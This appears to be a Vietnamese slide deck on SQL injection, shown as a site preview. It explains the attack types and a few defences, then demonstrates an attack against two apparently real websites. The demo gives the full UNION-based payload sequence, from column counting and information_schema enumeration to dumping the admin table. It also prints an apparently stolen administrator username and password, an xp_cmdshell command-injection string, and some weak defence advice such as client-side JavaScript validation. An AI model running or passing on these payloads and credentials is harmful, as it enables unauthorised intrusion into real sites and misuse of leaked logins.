Tải bản đầy đủ (.ppt) (34 trang)

tài liệu: SQL INJECTION

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.1 MB, 34 trang )


SQL INJECTION

SQL Injection là gì?

Các dạng tấn công bằng SQL
Injection.

Cách phòng tránh SQL Injection.

Quy trình thực hiện.

Demo

Tổng Quan

SQL Injection là một kĩ thuật cho phép những kẻ
tấn công thi hành các câu lệnh truy vấn SQL bất
hợp pháp bằng cách lợi dụng lỗ hổng trong việc
kiểm tra dữ liệu nhập từ các ứng dụng web.

Cho phép kẻ tấn công có toàn quyền, hiệu
chỉnh trên cơ sở dữ liệu của ứng dụng.

Lỗi này thường xảy ra trên các ứng dụng web có
dữ liệu được quản lí bằng các hệ quản trị CSDL
như SQL Server, Oracle, DB2, Sysbase.

Các dạng tấn công

Có bốn dạng thông thường bao gồm:


1. Vượt qua kiểm tra lúc đăng nhập
(authorization bypass).
2. Sử dụng câu lện SELECT.
3. Sử dụng câu lệnh INSERT.
4. Sử dụng các stored-procedures [2],
[3].

Authorization bypass

Với dạng tấn công này, tin tặc có thể
dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu
lệnh SQL thao tác trên cơ sở dữ liệu
của ứng dụng web.

Sử dụng câu lện SELECT

Dạng tấn công này phức tạp hơn. Để
thực hiện được kiểu tấn công này, kẻ
tấn công phải có khả năng hiểu và lợi
dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm
yếu khởi đầu cho việc tấn công.

Sử dụng câu lệnh INSERT

Thông thường các ứng dụng web cho
phép người dùng đăng kí một tài khoản để
tham gia.


Chức năng không thể thiếu là sau khi
đăng kí thành công, người dùng có thể
xem và hiệu chỉnh thông tin của mình.

SQL injection có thể được dùng khi hệ
thống không kiểm tra tính hợp lệ của
thông tin nhập vào.

Stored-procedures

Việc tấn công bằng stored-procedures sẽ
gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'.

Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:
' ; EXEC xp_cmdshell ‘cmd.exe dir C: '.
Lúc này hệ thống sẽ thực hiện lệnh liệt kê
thư mục trên ổ đĩa C:\ cài đặt server. Việc
phá hoại kiểu nào tuỳ thuộc vào câu lệnh
đằng sau cmd.exe.

Cách phòng tránh

Kiểm soát chặt chẽ dữ liệu nhập vào:

Thiết lập cấu hình an toàn cho hệ quản trị
cơ sở dữ liệu

Sử dụng Javascript để hiệu chỉnh các xâu
người dùng nhập vào từ client.


Dùng thủ tục lưu trữ (store procedure).

Tạo xâu truy vấn chuẩn trên server.

Dùng PHP một cách đơn giản

Quy trình thực hiện

Tìm kiếm mục tiêu

Kiểm tra chỗ yếu của trang web.

Xác định tên của các column trong table.

Nhận output của câu query.

Nhận dữ liệu qua ‘database using ODBC
error message‘.

Thu thập các dữ liệu quan trọng.

Thay đổi dữ liệu (Update/Insert) của
CSDL

Demo

Tool sử dụng:
1. Add-on cho firefox: HackBar 1.4.2
2.

3. Web Admin Finder v2.0

Victim:
1. />2. />
Mục đích

Khai thác lỗi của 2 website này.

Lấy được username, password của
người quản trị.



Giao diện chính:

Khai thác lỗi

/>wsdetails.php?id=163'


/>wsdetails.php?id=163 order by [n]


/>wsdetails.php?id=163 union select
1,2,3,4,5,6,7,8,9,10,11,12,13


/>wsdetails.php?id=-163 union select
1,2,3,4,5,6,7,8,9,10,11,12,13



/>wsdetails.php?id=-163 union select
1,version(),3,4,5,6,7,8,9,10,11,12,13


/>wsdetails.php?id=-163 union select
1,group_concat(table_name),3,4,5,6,7,8,9,
10,11,12,13 from
information_schema.tables where
table_schema=database()


/>wsdetails.php?id=-163 union select
1,group_concat(column_name),3,4,5,6,7,8
,9,10,11,12,13 from
information_schema.columns where
table_schema=database()


/>wsdetails.php?id=-163 union select
1,concat(username, 0x2f,
password),3,4,5,6,7,8,9,10,11,12,13 from
admin

Lấy username, password

Lấy được tất cả username và
password của những người quản trị
hệ thống.


Thực hiện quá trình đăng nhập.


/>/loginadmin.php


Username: thang

Password: Phat6



Giao diện chính:


/>mod=mausp&idsp=62'

Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×